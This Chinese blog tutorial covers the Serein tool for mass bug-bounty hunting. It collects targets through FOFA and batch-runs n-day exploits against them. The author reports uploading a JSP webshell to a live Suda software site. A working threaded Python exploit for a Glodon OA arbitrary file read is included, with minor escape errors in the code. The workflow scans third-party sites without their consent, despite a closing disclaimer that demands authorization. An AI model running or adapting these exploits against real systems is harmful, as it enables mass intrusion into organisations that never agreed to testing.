扫码领资料
获网安教程
本文由掌控安全学院 - yusi 投稿
来Track安全社区投稿~
千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
Serein 安装使用
工具地址:https://github.com/W01fh4cker/Serein
一款图形化、批量采集url、批量对采集的url进行各种nday检测的工具。可用于 src挖掘、cnvd挖掘、0day利用、打造自己的武器库等场景。其实能够利用 1day 打站的工具有很多,可以自定义的武器库工具也有很多,该工具主要是引用了反查域名和查权重的 api 功能,实现了一步到位。
github 下载后, pip 下载好依赖就能直接使用,工具排版,
img
先在 fofa 配置填上自己的 key,这个 fofa 的 api 功能是需要会员的,可以在某鱼某宝上购买便宜的,购买后的在下面替换自己的 api,当然也可以用其他的测绘工具。
img
利用流程也很简单,先利用 fofa 进行指定的 url 搜集,然后利用 nday 模块进行测试,最好反查域名查权重进行筛选。
这里拿 速达软件全系产品 DesignReportSave 任意文件上传漏洞
来进行测试,fofa 语法: app="速达软件-公司产品"
img
可以看到搜集到的 ip 自动加了 http://
和 https://
协议,可以直接利用。点击 nday 利用模块选择对应漏洞(这个利用poc 是自己添加的,后面再讲如何添加 poc),
img
在大量的网站中总还是有些没有修复漏洞的,存在漏洞的站点会自动保存到 txt 文件中,这里随便选一个看是否成功。
img
看到成功连接到了上传的 jsp 木马,就点到为止了。然后进行 ip 反查域名
img
最后再进行一波权重查询进行筛选,有的交补天没有的就交漏洞盒子。
原poc地址: https://github.com/MzzdToT/HAC_Bored_Writing/tree/main/Fileupload/suda
SRC 批量挖掘
如果是平时挖 src 的话光靠这种 nday 是不行的,不是 0day 最起码也得是个 1day 吧,批量漏洞扫描挖 src 拼的就是一个手速。所以这里就需要去自己寻找新出的漏洞或者 cve 什么的,然后自己构建脚本进行批量扫描,再利用该工具自带的功能进行筛选。
在那些wiki漏洞文库上寻找比较新的漏洞即可,比如下面随便选一个看起来比较简单的
img
查看 poc 就是访问路由进行传参
img
仿造工具里面的 poc 改一下
import requests
import tkinter as tk
from tkinter import scrolledtext
from concurrent.futures import ThreadPoolExecutor
from ttkbootstrap.constants import *
import json
def yync_exp(url):
url1 = url + "/m/mobileAction.ashx/do.asmx?controller=Microsoft.VisualBasic.FileIO.FileSystem%2c%20Microsoft.VisualBasic%2c%20Version%3d8.0.0.0%2c%20Culture%3dneutral%2c%20PublicKeyToken%3db03f5f7f11d50a3a&action=ReadAllBytes"
head= {
'Content-Type': 'application/json',
}
data = '["C:\Windows\win.ini"]'
try:
res = requests.post(url1, json=data, headers=head,timeout=3)
if "59" in res.text :
yync_rce_text.insert(END,"【*】存在漏洞的url:" + url + "n")
yync_rce_text.see(END)
with open ("存在广联达OA系统任意文件读取url.txt", 'a') as f:
f.write(url + "n")
else:
yync_rce_text.insert(END, "【×】不存在漏洞的url:" + url + "n")
yync_rce_text.see(END)
except Exception as err:
yync_rce_text.insert(END, "【×】目标请求失败,报错内容:" + str(err) + "n")
yync_rce_text.see(END)
def get_yync_addr():
with open("修正后的url.txt","r") as f:
for address in f.readlines():
address = address.strip()
yield address
def fileread_gui():
yync_rce = tk.Tk()
yync_rce.geometry("910x450")
yync_rce.title("广联达OA系统任意文件读取")
yync_rce.resizable(0, 0)
yync_rce.iconbitmap('logo.ico')
global yync_rce_text
yync_rce_text = scrolledtext.ScrolledText(yync_rce,width=123, height=25)
yync_rce_text.grid(row=0, column=0, padx=10, pady=10)
yync_rce_text.see(END)
addrs = get_yync_addr()
max_thread_num = 30
executor = ThreadPoolExecutor(max_workers=max_thread_num)
for addr in addrs:
future = executor.submit(yync_exp, addr)
yync_rce.mainloop()
然后再 gui 界面进行引用,
img
再次打开工具就可以看到多了个利用模块了,
img
同理搜集 url 进行批量扫描,然后漏洞 url 会写入 txt 文件中,
img
还是简单验证一下,解码就是内容。
img
然后就是查域名查权重了,不过这个漏洞资产比较少,基本都没有权重,有域名有公司的就全部甩漏洞盒子了。在选择漏洞的时候就选资产多的比较新的就行了。
漏洞库链接: wiki漏洞文库[1]
References
[1]
wiki漏洞文库: https://wiki.wy876.cn/
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):SRC技巧篇 | 利用工具批量挖掘SRC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论